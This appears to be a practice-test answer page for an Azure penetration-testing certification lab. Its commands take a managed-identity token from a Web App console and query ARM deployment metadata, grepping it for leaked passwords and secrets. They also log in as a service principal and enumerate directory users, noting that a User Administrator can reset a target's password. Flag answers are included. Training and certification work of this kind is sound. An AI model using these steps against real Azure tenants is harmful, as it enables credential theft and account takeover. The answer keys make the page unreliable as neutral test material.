Online Access Free CCPenX-Az Practice Test

See the Answer in Explanation below.
Explanation:
rg-prod-apps-eastus
Detailed Solution:
List accessible resource groups:
az group list --output table
For a cleaner search:
az group list \
--query " [?contains(name, ' prod ' )].{Name:name,Location:location} " \
--output table
Expected output:
Name Location
-------------------- ----------
rg-prod-apps-eastus eastus
The resource group containing prod is:
rg-prod-apps-eastus

See the Answer in Explanation below.
Explanation:
The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:
[email protected]
Detailed Solution:
The key point is this: you are no longer only using Alex's user permissions. You must use the Web App managed identity .
From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.
For Linux-style shell:
curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \
-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "
For Windows PowerShell inside Kudu:
$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/
& client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "
$response = Invoke-RestMethod -Uri $uri -Headers @{
" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER
}
$token = $response.access_token
Now use the token to query Azure Resource Manager.
$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "
$rg = " Excalibur-Resources "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-
01 " `
-Headers @{ Authorization = " Bearer $token " }
Next, enumerate ARM deployments.
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
For each deployment name returned, inspect it:
$deploymentName = " < deployment-name > "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Also check deployment operations:
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName/operations?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Search the output for fields like:
password
secret
adminPassword
userPassword
credential
sumit
The exposed value is the answer to Q4.
A practical one-liner on Linux would be:
curl -s -H " Authorization: Bearer $TOKEN " \
" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups
/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api- version=2021-04-01 " \
| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag ' Final answer:
Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab- generated.

See the Answer in Explanation below.
Explanation:
Use az login --service-principal
Detailed Solution:
Command:
az login --service-principal \
-u c5fba7db-5e61-45bc-8944-3cd457bb19c2 \
-p ' < client-secret > ' \
--tenant 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a
Verify:
az account show --output json
Expected important field:
{
" user " : {
" name " : " c5fba7db-5e61-45bc-8944-3cd457bb19c2 " ,
" type " : " servicePrincipal "
}
}
This confirms you are authenticated as the App Registration/service principal.

Explanation: (Only visible for Exam-tests members)

See the Answer in Explanation below.
Explanation:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
Detailed Solution:
As the second compromised user, enumerate directory users:
az ad user list --output table
Use a cleaner query to show names, UPNs, and job titles:
az ad user list \
--query " [].{DisplayName:displayName,UPN:userPrincipalName,JobTitle:jobTitle} " \
--output table
You should identify a target user whose profile contains a flag in the jobTitle attribute.
The important target is:
[email protected]
Her jobTitle field contains:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
Because the compromised user has User Administrator, you can reset this target user's password and later authenticate as her.
Final answer:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}